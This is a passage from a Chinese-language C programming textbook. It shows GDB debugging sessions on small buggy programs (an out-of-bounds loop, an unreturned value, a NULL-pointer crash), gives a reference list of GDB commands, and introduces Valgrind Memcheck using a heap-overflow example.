第一个示例 GDB 会话调试的是 `badprog.c` 程序。这个程序的目的是在一个 `int` 类型数组中找到最大值。然而,当程序运行时,它错误地认为 17 是数组中的最大值,而不是正确的最大值 60。这个示例展示了如何使用 GDB 来检查程序的运行时状态,以确定程序为何没有计算出预期的结果。特别地,这个调试会话揭示了两个 bug:
1. 循环边界的错误,导致程序访问数组边界之外的元素。
2. 函数未返回正确的值给调用者的错误。
要使用 GDB 检查程序,首先使用 `-g` 编译程序,以将调试信息添加到可执行文件中:
$ gcc -g badprog.c
接下来,运行 GDB 对二进制可执行程序(`a.out`)进行调试。GDB 初始化并打印 `(gdb)` 提示符,用户可以在此处输入 GDB 命令:
$ gdb ./a.out
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
...
(gdb)
此时,GDB 尚未开始运行程序。一个常见的调试步骤是在 `main()` 函数中设置一个断点,以在程序执行 `main()` 函数中的第一条指令之前暂停程序的执行。`break` 命令将在指定的位置设置一个“断点”(暂停程序),在此例中就是在 `main()` 函数的开始处:
(gdb) break main
Breakpoint 1 at 0x8048436: file badprog.c, line 36.
`run` 命令告诉 GDB 启动程序:
(gdb) run
Starting program: ./a.out
如果程序接受命令行参数,可以在 `run` 命令后提供这些参数(例如,运行 `100 200` 将以命令行参数 `100` 和 `200` 启动 `a.out`)。
在输入`run`后,GDB 从程序的开头开始执行,并一直执行到遇到断点为止。到达断点后,GDB 在执行断点所在的代码行之前暂停程序,并打印出与断点相关的断点编号和源代码行。在这个例子中,GDB 在执行程序的第 36 行之前暂停程序。然后,它会打印出 `(gdb)` 提示符,等待进一步的指令:
Breakpoint 1, main (argc=1, argv=0x7fffffffe398) at badprog.c:36
36 int main(int argc, char *argv[]) {
(gdb)
当程序在断点处暂停时,用户通常希望查看断点周围的 C 源代码。GDB 的`list`命令显示断点周围的代码:
(gdb) list
29 }
30 return 0;
31 }
32
33 /***************************************/
34 int main(int argc, char *argv[]) {
35
36 int arr[5] = { 17, 21, 44, 2, 60 };
37
38 int max = arr[0];
随后的`list`命令调用会显示这些代码之后的下一行源代码。`list`也可以与特定的行号一起使用(例如,`list 11`)或与函数名一起使用,以列出程序中指定部分的源代码。例如:
(gdb) list findAndReturnMax
12 * array: array of integer values
13 * len: size of the array
14 * max: set to the largest value in the array
15 * returns: 0 on success and non-zero on an error
16 */
17 int findAndReturnMax(int *array1, int len, int max) {
18
19 int i;
20
21 if (!array1 || (len <=0) ) {
用户可能希望在击中断点后逐行执行代码,在每行执行后检查程序状态。GDB 的`next`命令仅执行下一行 C 代码。程序执行该行代码后,GDB 会再次暂停程序。`print`命令用于打印程序变量的值。以下是一些`next`和`print`命令的调用,展示它们对接下来的两行执行的影响。请注意,`next`后的源代码行尚未执行——它显示的是程序暂停的地方,代表着下一行将被执行的地方:
(gdb) next
36 int arr[5] = { 17, 21, 44, 2, 60 };
(gdb) next
38 int max = arr[0];
(gdb) print max
$3 = 0
(gdb) print arr[3]
$4 = 2
(gdb) next
40 if ( findAndReturnMax(arr, 5, max) != 0 ) {
(gdb) print max
$5 = 17
(gdb)
在程序执行的这个时刻,主函数已经初始化了它的局部变量`arr`和`max`,并即将调用`findAnd` `ReturnMax()`函数。GDB 的`next`命令执行下一行完整的 C 源代码。如果该行包含函数调用,那么该函数的完整执行及返回会作为单个`next`命令的一部分执行。希望观察函数执行过程的用户应该使用 GDB 的`step`命令,而不是`next`命令:`step`会进入函数调用,在执行函数的第一行代码之前暂停程序。
因为我们怀疑程序中的 bug 与`findAnd` `ReturnMax()`函数相关,所以我们希望进入该函数的执行,而不是跳过它。因此,在第 40 行暂停时,`step`命令将使程序在`findAndReturnMax()`的开始处暂停(另外,用户也可以在`findAndReturnMax()`设置断点,来在该点暂停程序的执行):
(gdb) next
40 if ( findAndReturnMax(arr, 5, max) != 0 ) {
(gdb) step
findAndReturnMax (array1=0x7fffffffe290, len=5, max=17) at badprog.c:21
21 if (!array1 || (len <=0) ) {
(gdb)
程序此时暂停在`findAndReturnMax`函数内部,该函数的局部变量和参数现在处于作用域内。`print`命令显示它们的值,`list`命令显示暂停点周围的 C 源代码:
(gdb) print array1[0]
$6 = 17
(gdb) print max
$7 = 17
(gdb) list
16 */
17 int findAndReturnMax(int *array1, int len, int max) {
18
19 int i;
20
21 if (!array1 || (len <=0) ) {
22 return -1;
23 }
24 max = array1[0];
25 for (i=1; i <= len; i++) {
(gdb) list
26 if(max < array1[i]) {
27 max = array1[i];
28 }
29 }
30 return 0;
31 }
32
33 /***************************************/
34 int main(int argc, char *argv[]) {
35
因为我们认为这个函数可能有 bug,所以我们可能想在函数内部设置一个断点,以便我们可以在执行过程中检查运行时状态。特别是,设置一个在 `max` 发生变化时的断点,可能有助于我们看到这个函数在做什么。
我们可以在程序中的特定行号(第 27 行)设置断点,并使用 `cont` 命令告诉 GDB 继续执行应用程序,直到遇到下一个断点。只有当程序遇到断点时,GDB 才会暂停程序并重新控制它,允许用户输入其他 GDB 命令。
(gdb) break 27
Breakpoint 2 at 0x555555554789: file badprog.c, line 27.
(gdb) cont
Continuing.
Breakpoint 2, findAndReturnMax (array1=0x...e290,len=5,max=17) at badprog.c:27
27 max = array1[i];
(gdb) print max
$10 = 17
(gdb) print i
$11 = 1
`display` 命令要求 GDB 在每次遇到断点时自动打印出相同的一组程序变量。例如,我们将在每次程序遇到断点时显示 `i`、`max` 和 `array1[i]` 的值(在 `findAndReturnMax()` 中的每次循环迭代时):
(gdb) display i
1: i = 1
(gdb) display max
2: max = 17
(gdb) display array1[i]
3: array1[i] = 21
(gdb) cont
Continuing.
Breakpoint 2, findAndReturnMax (array1=0x7fffffffe290, len=5, max=21)
at badprog.c:27
27 max = array1[i];
1: i = 2
2: max = 21
3: array1[i] = 44
(gdb) cont
Continuing.
Breakpoint 2, findAndReturnMax (array1=0x7fffffffe290, len=5, max=21)
at badprog.c:27
27 max = array1[i];
1: i = 3
2: max = 44
3: array1[i] = 2
(gdb) cont
Breakpoint 2, findAndReturnMax (array1=0x7fffffffe290, len=5, max=44)
at badprog.c:27
27 max = array1[i];
1: i = 4
2: max = 44
3: array1[i] = 60
(gdb) cont
Breakpoint 2, findAndReturnMax (array1=0x7fffffffe290, len=5, max=60)
at badprog.c:27
27 max = array1[i];
1: i = 5
2: max = 60
3: array1[i] = 32767
(gdb)
我们发现了第一个 bug!`array1[i]` 的值是 32767,这是一个不在传入数组中的值,而 `i` 的值是 5,但 5 不是这个数组的有效索引。通过 GDB,我们发现 `for` 循环的边界需要修正为 `i < len`。
到了这个时候,我们可以退出 GDB 会话并修复代码中的这个 bug。要退出 GDB 会话,输入 quit:
(gdb) quit
The program is running. Exit anyway? (y or n) y
$
修复了这个 bug 后,重新编译并运行程序,它仍然没有找到正确的最大值(它仍然认为 17 是最大值而不是 60)。根据我们之前的 GDB 调试,我们可能怀疑在调用或从 `findAndReturnMax()` 函数返回时存在错误。我们重新在 GDB 中运行程序,并这次在 `findAndReturnMax()` 函数入口处设置了断点:
$ gdb ./a.out
...
(gdb) break main
Breakpoint 1 at 0x7c4: file badprog.c, line 36.
(gdb) break findAndReturnMax
Breakpoint 2 at 0x748: file badprog.c, line 21.
(gdb) run
Starting program: ./a.out
Breakpoint 1, main (argc=1, argv=0x7fffffffe398) at badprog.c:36
36 int main(int argc, char *argv[]) {
(gdb) cont
Continuing.
Breakpoint 2, findAndReturnMax (array1=0x7fffffffe290, len=5, max=17)
at badprog.c:21
21 if (!array1 || (len <=0) ) {
(gdb)
如果我们怀疑函数的参数或返回值有 bug,检查堆栈内容可能会很有帮助。`where`(或 `bt`,即“回溯”)GDB 命令会打印堆栈的当前状态。在这个例子中,`main()` 函数位于堆栈的底部(在帧 1 中),并且正在执行对 `findAndReturnMax()` 的调用(第 40 行)。`findAndReturnMax()` 函数位于堆栈的顶部(在帧 0 中),并且当前暂停在第 21 行:
(gdb) where
0 findAndReturnMax (array1=0x7fffffffe290, len=5, max=17) at badprog.c:21
1 0x0000555555554810 in main (argc=1, argv=0x7fffffffe398) at badprog.c:40
GDB 的 `frame` 命令可以让我们进入堆栈中任何一个帧的上下文。在每个堆栈帧的上下文中,用户可以检查该帧的局部变量和参数。在这个例子中,我们进入了堆栈帧 1(调用者的上下文),并打印出 `main()` 函数传递给 `findAndReturnMax()` 的参数值(例如,`arr` 和 `max`):
(gdb) frame 1
1 0x0000555555554810 in main (argc=1, argv=0x7fffffffe398) at badprog.c:40
40 if ( findAndReturnMax(arr, 5, max) != 0 ) {
(gdb) print arr
$1 = {17, 21, 44, 2, 60}
(gdb) print max
$2 = 17
(gdb)
参数值看起来没有问题,因此我们检查 `findAndReturnMax()` 函数的返回值。为此,我们在 `findAndReturnMax()` 返回之前设置了一个断点,看看它计算出的 `max` 值是什么:
(gdb) break 30
Breakpoint 3 at 0x5555555547ae: file badprog.c, line 30.
(gdb) cont
Continuing.
Breakpoint 3, findAndReturnMax (array1=0x7fffffffe290, len=5, max=60)
at badprog.c:30
30 return 0;
(gdb) print max
$3 = 60
这显示出函数已经找到了正确的最大值(60)。让我们执行接下来的几行代码,看看 `main()` 函数接收到的值是什么:
(gdb) next
31 }
(gdb) next
main (argc=1, argv=0x7fffffffe398) at badprog.c:44
44 printf("max value in the array is %d\n", max);
(gdb) where
0 main (argc=1, argv=0x7fffffffe398) at badprog.c:44
(gdb) print max
$4 = 17
我们找到了第二个 bug!`findAndReturnMax()` 函数识别了传递数组中的最大值(60),但是它没有将该值返回给 `main()` 函数。为了解决这个错误,我们需要修改 `findAndReturnMax()` 函数,使其返回 `max` 值,或者添加一个“按指针传递”的参数,供函数用来修改 `main()` 函数中 `max` 局部变量的值。
##### 使用 GDB 调试崩溃程序的示例(segfaulter.c)
第二个示例 GDB 会话(在 `segfaulter.c` 程序上运行)演示了当程序崩溃时 GDB 的行为,以及我们如何利用 GDB 帮助发现崩溃发生的原因。
在这个例子中,我们只是运行 `segfaulter` 程序并让它崩溃:
$ gcc -g -o segfaulter segfaulter.c
$ gdb ./segfaulter
(gdb) run
Starting program: ./segfaulter
Program received signal SIGSEGV, Segmentation fault.
0x00005555555546f5 in initfunc (array=0x0, len=100) at segfaulter.c:14
14 array[i] = i;
一旦程序崩溃,GDB 会在崩溃点暂停程序的执行并接管控制。GDB 允许用户发出命令检查程序在崩溃点的运行时状态,这通常能帮助我们发现程序崩溃的原因,并找出修复崩溃的办法。GDB 的 `where` 和 `list` 命令对于确定程序崩溃的位置特别有用:
(gdb) where
0 0x00005555555546f5 in initfunc (array=0x0, len=100) at segfaulter.c:14
1 0x00005555555547a0 in main (argc=1, argv=0x7fffffffe378) at segfaulter.c:37
(gdb) list
9 int initfunc(int *array, int len) {
10
11 int i;
12
13 for(i=1; i <= len; i++) {
14 array[i] = i;
15 }
16 return 0;
17 }
18
该输出告诉我们程序在第 14 行的 `initfunc()` 函数处崩溃。检查第 14 行参数和局部变量的值可能能告诉我们崩溃的原因:
(gdb) print i
$2 = 1
(gdb) print array[i]
Cannot access memory at address 0x4
`i` 的值看起来没问题,但我们在尝试访问 `array` 的索引 `i` 时看到错误。让我们打印出 `array` 的值(即数组基地址的值),看看它是否能告诉我们什么:
(gdb) print array
$3 = (int *) 0x0
我们已经找到了崩溃的原因!数组的基地址为零(或 `NULL`),我们知道解引用空指针(通过 `array[i]`)会导致程序崩溃。
让我们看看通过查看调用者的栈帧,是否能找出为什么 `array` 参数是 `NULL`:
(gdb) frame 1
1 0x00005555555547a0 in main (argc=1, argv=0x7fffffffe378) at segfaulter.c:37
37 if(initfunc(arr, 100) != 0 ) {
(gdb) list
32 int main(int argc, char *argv[]) {
33
34 int *arr = NULL;
35 int max = 6;
36
37 if(initfunc(arr, 100) != 0 ) {
38 printf("init error\n");
39 exit(1);
40 }
41
(gdb) print arr
$4 = (int *) 0x0
(gdb)
进入调用者的栈帧并打印出 `main()` 传递给 `initfunc()` 的参数值显示,`main()` 函数向 `initfunc()` 传递了一个空指针。换句话说,用户在调用 `initfunc()` 之前忘记为 `arr` 数组分配内存。解决方法是在第 34 行使用 `malloc()` 函数为 `arr` 分配内存空间。
这两个 GDB 示例会话展示了常用的命令,用于查找程序中的 bug。在接下来的章节中,我们将更详细地讨论这些和其他 GDB 命令。
### 3.2 GDB 命令详解
在本节中,我们列出了常见的 GDB 命令,并通过示例展示了一些功能。我们首先讨论一些常用的键盘快捷键,使 GDB 更易使用。
#### 3.2.1 GDB 中的键盘快捷键
GDB 支持*命令行补全*。用户可以输入命令的唯一前缀并按下 TAB 键,GDB 会尝试补全命令行。此外,用户还可以使用唯一的*简短缩写*来执行许多常见的 GDB 命令。例如,用户可以输入 `p x` 来打印变量 `x` 的值,而不必输入完整的命令 `print x`;`l` 可以用来执行 `list` 命令,`n` 用来执行 `next` 命令。
*上下箭头键*可滚动查看之前的 GDB 命令行,省去了每次重新输入命令的需要。
在 GDB 提示符下按下 RETURN 键会执行*最近的上一条命令*。这在通过一系列 `next` 或 `step` 命令逐步执行时特别有用;只需按下 RETURN,GDB 就会执行下一条指令。
#### 3.2.2 常用 GDB 命令
我们在这里总结了 GDB 最常用的命令,将它们按相似功能分组:控制程序执行的命令;评估程序执行点的命令;设置和控制断点的命令;打印程序状态和评估表达式的命令。GDB 的 `help` 命令提供了关于所有 GDB 命令的信息:
help 显示有关主题和 GDB 命令的帮助文档。
help
help breakpoints Shows help information about breakpoints
help print Shows help information about print command
##### 执行控制流命令
break 设置断点。
break
break
break filename:
break main Set breakpoint at beginning of main
break 13 Set breakpoint at line 13
break gofish.c:34 Set breakpoint at line 34 in gofish.c
break main.c:34 Set breakpoint at line 34 in main.c
在特定文件中指定一行(如`break gofish.c:34`)允许用户在多个 C 源代码文件(`.c` 文件)中设置断点。此功能在设置的断点不在程序暂停点的同一文件时特别有用。
run 从头开始运行调试程序。
run
run Run with no command line arguments
run 2 40 100 Run with 3 command line arguments: 2, 40, 100
continue **(cont)** 从断点继续执行。
continue
step **(s)** 执行程序 C 源代码的下一行,如果该行执行了函数调用,则进入该函数。
step Execute next line (stepping into a function)
step
step 10 Executes the next 10 lines (stepping into functions)
在 `step <count>` 命令的情况下,如果一行包含函数调用,则该行调用的函数的行数会计入 `count` 总数中。因此,`step <count>` 可能会导致程序在一个函数内部暂停,这个函数是从 `step <count>` 命令发出时程序的暂停点调用的。
next 类似于 `step` 命令,但它将函数调用视为单独的一行。换句话说,当下一条指令包含函数调用时,`next` 不会进入函数的执行,而是在函数调用返回后暂停程序(在函数调用后面紧接着的下一行暂停程序)。
next Execute the next line
next
until 执行程序,直到达到指定的源代码行号。
until
quit 退出 GDB。
quit
##### 检查执行点和列出程序代码的命令
list 列出程序源代码。
list Lists next few lines of program source code
list
list
list
list 30 100 List source code lines 30 to 100
where **(**backtrace**,** bt**)** 显示堆栈内容(当前程序执行点的函数调用序列)。`where` 命令有助于定位程序崩溃的位置,并检查函数调用和返回之间接口的状态,例如传递给函数的参数值。
where
frame <frame-num> 进入栈帧编号 `<frame-num>` 的上下文。默认情况下,程序会在栈顶的帧 0 上暂停。`frame` 命令可以用来进入另一个栈帧的上下文。通常,GDB 用户会进入另一个栈帧,以打印出另一个函数的参数值和局部变量。
frame
info frame Show state about current stack frame
frame 3 Move into stack frame 3's context (0 is top frame)
##### 设置和操作断点的命令
break 设置一个断点(关于此命令的更多解释见“执行控制流命令”部分,参见 第 162 页)。
break
break
break main Set a breakpoint at start of main
break 12 Set a breakpoint at line 12
break file.c:34 Set a breakpoint at line 34 of file.c
enable**,** disable**,** ignore**,** delete**,** clear 启用、禁用、忽略一定次数,或者删除一个或多个断点。`delete` 命令通过编号删除一个断点。与此相对,使用 `clear` 命令可以删除源代码中特定位置的断点。
disable <bnums ...> Disable one or more breakpoints
enable <bnums ...> Enable one or more breakpoints
ignore
the next
delete
delete Deletes all breakpoints
clear
clear
info break List breakpoint info (including breakpoint bnums)
disable 3 Disable breakpoint number 3
ignore 2 5 Ignore the next 5 times breakpoint 2 is hit
enable 3 Enable breakpoint number 3
delete 1 Delete breakpoint number 1
clear 124 Delete breakpoint at source code line 124
condition 设置断点条件。条件断点是在某个条件为真时,才会将控制权转交给 GDB。它可以用来在循环内某个断点处,仅在循环迭代了指定次数后暂停(通过为循环计数器变量添加条件),或者仅当变量值对调试有意义时暂停程序(避免在其他情况下暂停程序)。
condition
only when expression
break 28 Set breakpoint at line 28 (in function play)
info break Lists information about all breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x080483a3 in play at gofish.c:28
condition 1 (i > 1000) Set condition on breakpoint 1
##### 检查和评估程序状态及表达式的命令
print **(**p**)** 显示表达式的值。尽管 GDB 用户通常打印程序变量的值,但 GDB 会打印任何 C 表达式的值(即使是程序代码中没有的表达式)。`print` 命令支持以不同格式打印,并支持不同数字表示法的操作数。
print
p i print the value of i
p i+3 print the value of (i+3)
要以不同格式打印:
print
print/x
print/t
print/d
print/c
print (int)
print/x 123 Prints 0x7b
print/t 123 Print 1111011
print/d 0x1c Prints 28
print/c 99 Prints 'c'
print (int)'c' Prints 99
要在表达式中指定不同的数字表示法(数字的默认表示法为十进制表示法):
0x prefix for hex: 0x1c
0b prefix for binary: 0b101
print 0b101 Prints 5 (default format is decimal)
print 0b101 + 3 Prints 8
print 0x12 + 2 Prints 20 (hex 12 is 18 in decimal)
print/x 0x12 + 2 Prints 0x14 (decimal 20 in hexadecimal format)
有时,表达式可能需要显式的类型转换,以告知 `print` 如何解释它们。例如,在这里,需要将地址值重新转换为特定类型(`int *`),才能解引用该地址(否则,GDB 不知道如何解引用该地址):
print *(int *)0x8ff4bc10 Print int value at address 0x8ff4bc10
当使用 `print` 显示解引用指针变量的值时,不需要类型转换,因为 GDB 知道指针变量的类型,并知道如何解引用它的值。例如,如果 `ptr` 被声明为 `int *`,则可以这样显示它指向的 int 值:
print *ptr Print the int value pointed to by ptr
要打印存储在硬件寄存器中的值:
print $eax Print the value stored in the eax register
display 在达到断点时自动显示表达式的值。表达式语法与`print`命令相同。
display
display i
display array[i]
x **(检查内存)** 显示内存位置的内容。此命令类似于`print`,但它将参数解释为一个地址值,并通过解引用该地址来打印存储在该地址上的值。
x
x 0x5678 Examine the contents of memory location 0x5678
x ptr Examine the contents of memory that ptr points to
x &temp Can specify the address of a variable
(this command is equivalent to: print temp)
像`print`一样,`x`可以以不同的格式显示值(例如,作为`int`、`char`或字符串)。
**警告 EXAMINE 的格式设置是粘性的**
*粘性格式*意味着 GDB 会记住当前的格式设置,并将其应用于后续没有指定格式的`x`调用。例如,如果用户输入命令`x/c`,那么所有后续没有格式设置的`x`执行将使用`/c`格式。因此,只有在用户希望更改最近一次调用`x`的内存地址单位、重复次数或显示格式时,才需要显式指定`x`命令的格式选项。
一般而言,`x`最多接受三个格式化参数(`x/nfu <memory` `address>`);它们的列出顺序无关紧要:
n 重复计数(正整数值)
f 显示格式(`s`:字符串;`i`:指令;`x`:十六进制;`d`:十进制;`t`:二进制;`a`:地址;……)
u 单位格式(字节数)(`b`:字节;`h`:2 字节;`w`:4 字节;`g`:8 字节)
下面是一些例子(假设`s1 = "Hello There"`位于内存地址`0x40062d`):
x/d ptr Print value stored at what ptr points to, in decimal
x/a &ptr Print value stored at address of ptr, as an address
x/wx &temp Print 4-byte value at address of temp, in hexadecimal
x/10dh 0x1234 Print 10 short values starting at address 0x1234, in decimal
x/4c s1 Examine the first 4 chars in s1
0x40062d 72 'H' 101 'e' 108 'l' 108 'l'
x/s s1 Examine memory location associated with var s1 as a string
0x40062d "Hello There"
x/wd s1 Examine the memory location assoc with var s1 as an int
(because formatting is sticky, need to explicitly set
units to word (w) after x/s command sets units to byte)
0x40062d 72
x/8d s1 Examine ASCII values of the first 8 chars of s1
0x40062d: 72 101 108 108 111 32 84 104
whatis 显示表达式的类型。
whatis
whatis (x + 3.4) Displays: type = double
set 分配/更改程序变量的值,或者分配一个值到特定的内存地址或特定的机器寄存器中。
set
set x = 123y Set var x's value to (123y)
info 列出有关程序状态和调试器状态的信息。`info`有许多选项,可以获取关于程序当前执行状态和调试器的各种信息。一些例子包括:
help info Shows all the info options
help status Lists more info and show commands
info locals Shows local variables in current stack frame
info args Shows the argument variable of current stack frame
info break Shows breakpoints
info frame Shows information about the current stack frame
info registers Shows register values
info breakpoints Shows the status of all breakpoints
有关这些及其他 GDB 命令的更多信息,请参阅 GDB 手册(`man gdb`)和 GNU 调试器主页:[`www.gnu.org/software/gdb/`](https://www.gnu.org/software/gdb/)。
### 3.3 使用 Valgrind 调试内存
Valgrind 的 Memcheck 调试工具可以突出显示程序中的堆内存错误。堆内存是运行程序的内存部分,通过调用`malloc()`动态分配,并通过调用`free()`释放。在 C 程序中,Valgrind 可以发现的内存错误类型包括:
+ 从未初始化的内存读取(获取)值。例如:
```
int *ptr, x;
ptr = malloc(sizeof(int) * 10);
x = ptr[3]; // reading from uninitialized memory
```
+ 在未分配的内存位置读取(获取)或写入(设置)值,这通常表示数组越界错误。例如:
```
ptr[11] = 100; // writing to unallocated memory (no 11th element)
x = ptr[11]; // reading from unallocated memory
```
+ 释放已经释放的内存。例如:
```
free(ptr);
free(ptr); // freeing the same pointer a second time
```
+ 内存泄漏。*内存泄漏*是指一块已分配的堆内存空间没有被程序中的任何指针变量引用,因此无法释放。也就是说,当程序丢失了已分配堆空间的地址时,就会发生内存泄漏。例如:
```
ptr = malloc(sizeof(int) * 10);
ptr = malloc(sizeof(int) * 5); // memory leak of first malloc of
// 10 ints
```
内存泄漏最终可能导致程序耗尽堆内存空间,从而导致后续对`malloc()`的调用失败。其他类型的内存访问错误,如无效的读取和写入,可能会导致程序崩溃,或导致程序内存中的某些内容以看似神秘的方式被修改。
内存访问错误是程序中最难以发现的错误之一。通常,内存访问错误不会立即导致程序执行中明显的错误。相反,它可能会触发一个在后续执行中出现的错误,通常发生在与错误源看似无关的程序部分。有时,带有内存访问错误的程序可能在某些输入下运行正常,而在其他输入下崩溃,这使得错误的原因难以找到和修复。
使用 Valgrind 可以帮助程序员发现这些难以找到和修复的堆内存访问错误,节省大量的调试时间和精力。Valgrind 还帮助程序员识别在代码测试和调试中未发现的潜在堆内存错误。
#### 3.3.1 带有堆内存访问错误的示例程序
作为一个发现和修复内存访问错误的难度的例子,考虑以下这个小程序。这个程序在第二个`for`循环中展示了一个“写入未分配堆内存”的错误,当它赋值超出了`bigfish`数组的边界(注意:代码列出了源代码的行号,`print_array()`函数的定义未显示,但其行为如描述所示):
bigfish.c
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 /* print size elms of array p with name name */
5 void print_array(int *p, int size, char *name) ;
6
7 int main(int argc, char *argv[]) {
8 int *bigfish, *littlefish, i;
9
10 // allocate space for two int arrays
11 bigfish = (int *)malloc(sizeof(int) * 10);
12 littlefish = (int *)malloc(sizeof(int) * 10);
13 if (!bigfish || !littlefish) {
14 printf("Error: malloc failed\n");
15 exit(1);
16 }
17 for (i=0; i < 10; i++) {
18 bigfish[i] = 10 + i;
19 littlefish[i] = i;
20 }
21 print_array(bigfish,10, "bigfish");
22 print_array(littlefish,10, "littlefish");
23
24 // here is a heap memory access error
25 // (write beyond bounds of allocated memory):
26 for (i=0; i < 13; i++) {
27 bigfish[i] = 66 + i;
28 }
29 printf("\nafter loop:\n");
30 print_array(bigfish,10, "bigfish");
31 print_array(littlefish,10, "littlefish");
32
33 free(bigfish);
34 free(littlefish); // program will crash here
35 return 0;
36 }
在`main()`函数中,第二个`for`循环在写入超出`bigfish`数组边界的三个索引(索引 10、11 和 12)时,会导致堆内存访问错误。程序不会在错误发生时(第二个`for`循环执行时)崩溃;相反,它会在稍后的执行中,在调用`free(littlefish)`时崩溃:
bigfish:
10 11 12 13 14 15 16 17 18 19
littlefish:
0 1 2 3 4 5 6 7 8 9
after loop:
bigfish:
66 67 68 69 70 71 72 73 74 75
littlefish:
78 1 2 3 4 5 6 7 8 9
Segmentation fault (core dumped)
在 GDB 中运行此程序时,会显示程序在调用`free(littlefish)`时发生段错误(segfault)并崩溃。此时崩溃可能让程序员怀疑是`littlefish`数组的访问存在问题。然而,错误的根本原因是对`bigfish`数组的写操作,与程序访问`littlefish`数组的方式无关。
程序崩溃最可能的原因是`for`循环超出了`bigfish`数组的边界,并覆盖了`bigfish`最后一个元素的堆内存位置和`littlefish`第一个元素的堆内存位置之间的内存。这两者之间的堆内存位置(以及`littlefish`第一个元素之前的内存)被`malloc()`用来存储关于分配给`littlefish`数组的堆内存的元数据。在内部,`free()`函数使用这些元数据来确定需要释放多少堆内存。对`bigfish`的索引 10 和 11 的修改覆盖了这些元数据值,导致程序在调用`free(littlefish)`时崩溃。然而,我们需要注意的是,并非所有`malloc()`函数的实现都使用这种策略。
由于程序包含了在内存访问`bigfish`出错后打印`littlefish`的代码,错误的原因可能对程序员来说更加明显:第二个`for`循环以某种方式修改了`littlefish`数组的内容(它的元素 0 值在循环后“神秘地”从`0`变成了`78`)。然而,即使在这个非常小的程序中,也可能很难找到真正的错误:如果程序在第二个`for`循环发生内存访问错误后没有打印出`littlefish`,或者如果`for`循环的上限是`12`而不是`13`,那么程序变量的值就不会有明显的神秘变化,这也就无法帮助程序员发现程序在访问`bigfish`数组时存在错误。
在更大的程序中,这种类型的内存访问错误可能出现在程序代码的完全不同部分,而不是崩溃的那部分。可能没有逻辑关联性在访问已被破坏的堆内存的变量和那些错误覆盖该内存的变量之间;它们唯一的关联是它们恰好引用了堆中相邻分配的内存地址。请注意,这种情况可能在程序的每次运行中有所不同,而且这种行为通常对程序员是隐藏的。同样,有时不良的内存访问可能对程序的运行没有明显的影响,这使得这些错误很难被发现。每当程序对某些输入运行正常,但对其他输入崩溃时,这就是程序中内存访问错误的一个信号。
像 Valgrind 这样的工具可以通过迅速指示程序员代码中堆内存访问错误的来源和类型,从而节省数天的调试时间。在前面的程序中,Valgrind 划定了错误发生的位置(当程序访问超出 `bigfish` 数组边界的元素时)。Valgrind 错误信息包括错误类型、程序中错误发生的位置,以及程序中堆内存分配的位置,该内存紧邻错误内存访问附近。例如,以下是当程序执行第 27 行时 Valgrind 会显示的信息(实际 Valgrind 错误信息中的一些细节已省略):
Invalid write
at main (bigfish.c:27)
Address is 0 bytes after a block of size 40 alloc'd
by main (bigfish.c:11)
该 Valgrind 错误信息表明程序在第 27 行写入了无效(未分配)的堆内存,并且该无效内存在第 11 行分配的一块内存后立即出现,表明循环访问了一些超出 `bigfish` 所指向的分配内存边界的元素。解决此 bug 的潜在方法是增加传递给 `malloc()` 的字节数,或者更改第二个 `for` 循环的边界,以避免写入超过分配的堆内存空间的边界。
除了能够发现堆内存中的内存访问错误外,Valgrind 还可以发现一些与栈内存访问相关的错误,例如使用未初始化的局部变量或尝试访问超出当前栈边界的栈内存位置。然而,Valgrind 在检测栈内存访问错误时,粒度不如堆内存,并且它无法检测到全局数据内存的内存访问错误。
一个程序可能会有栈内存和全局内存的访问错误,Valgrind 无法找到这些错误。然而,这些错误会导致程序行为异常或程序崩溃,这种现象与堆内存访问错误引起的行为类似。例如,在栈上超出静态声明数组边界的内存位置写入可能会“神秘地”改变其他局部变量的值,或者可能会覆盖用于从函数调用返回时保存的栈状态,导致函数返回时崩溃。使用 Valgrind 调试堆内存错误的经验可以帮助程序员识别和修复类似的栈内存和全局内存访问错误。
#### 3.3.2 如何使用 Memcheck
我们通过一个包含多个错误内存访问的示例程序 `valgrindbadprog.c` 来展示 Valgrind Memcheck 内存分析工具的主要功能(代码中的注释描述了错误类型)。Valgrind 默认运行 Memcheck 工具;我们在接下来的代码片段中依赖于这种默认行为。您也可以通过使用 `--tool=memcheck` 选项显式指定 Memcheck 工具。在后续部分,我们将通过调用 `--tool` 选项来调用其他 Valgrind 性能分析工具。
要运行 Memcheck,首先使用`-g`标志编译`valgrindbadprog.c`程序,向可执行文件添加调试信息。然后,使用`valgrind`运行可执行文件。请注意,对于非交互式程序,将 Valgrind 的输出重定向到文件以在程序退出后查看可能是有帮助的:
$ gcc -g valgrindbadprog.c
$ valgrind -v ./a.out
re-direct valgrind (and a.out) output to file 'output.txt'
$ valgrind -v ./a.out >& output.txt
view program and valgrind output saved to out file
$ vim output.txt
Valgrind 的 Memcheck 工具会在程序执行期间打印出内存访问错误和警告。在程序执行结束时,Memcheck 还会打印关于程序中任何内存泄漏的摘要。尽管修复内存泄漏很重要,但程序正确性的其他类型的内存访问错误则更为关键。因此,除非内存泄漏导致程序耗尽堆内存空间并崩溃,否则程序员应首先专注于修复这些其他类型的内存访问错误,而不是考虑内存泄漏。要查看单个内存泄漏的详细信息,请使用`--leak-check=yes`选项。
初次使用 Valgrind 时,其输出可能看起来有些难以解析。然而,输出都遵循同一基本格式,一旦了解了这个格式,就更容易理解 Valgrind 显示的关于堆内存访问错误和警告的信息。以下是运行`valgrindbadprog.c`程序时的一个 Valgrind 错误示例:
31059 Invalid write of size 1
31059 at 0x4006C5: foo (valgrindbadprog.c:29)
31059 by 0x40079A: main (valgrindbadprog.c:56)
31059 Address 0x52045c5 is 0 bytes after a block of size 5 alloc'd
31059 at 0x4C2DB8F: malloc (in /usr/lib/valgrind/...)
31059 by 0x400660: foo (valgrindbadprog.c:18)
31059 by 0x40079A: main (valgrindbadprog.c:56)
每行 Valgrind 输出都以进程的 ID(PID)号(例如此处的 31059)开头。
31059
大多数 Valgrind 的错误和警告具有以下格式:
+ 错误或警告的类型。
+ 错误发生的位置(程序执行到达错误位置时的堆栈跟踪。)
+ 错误周围的堆内存分配位置(通常是与错误相关的内存分配。)
在上述示例错误中,第一行指示对内存的无效写入(写入到堆中未分配的内存——这是一个非常严重的错误!):
31059 Invalid write of size 1
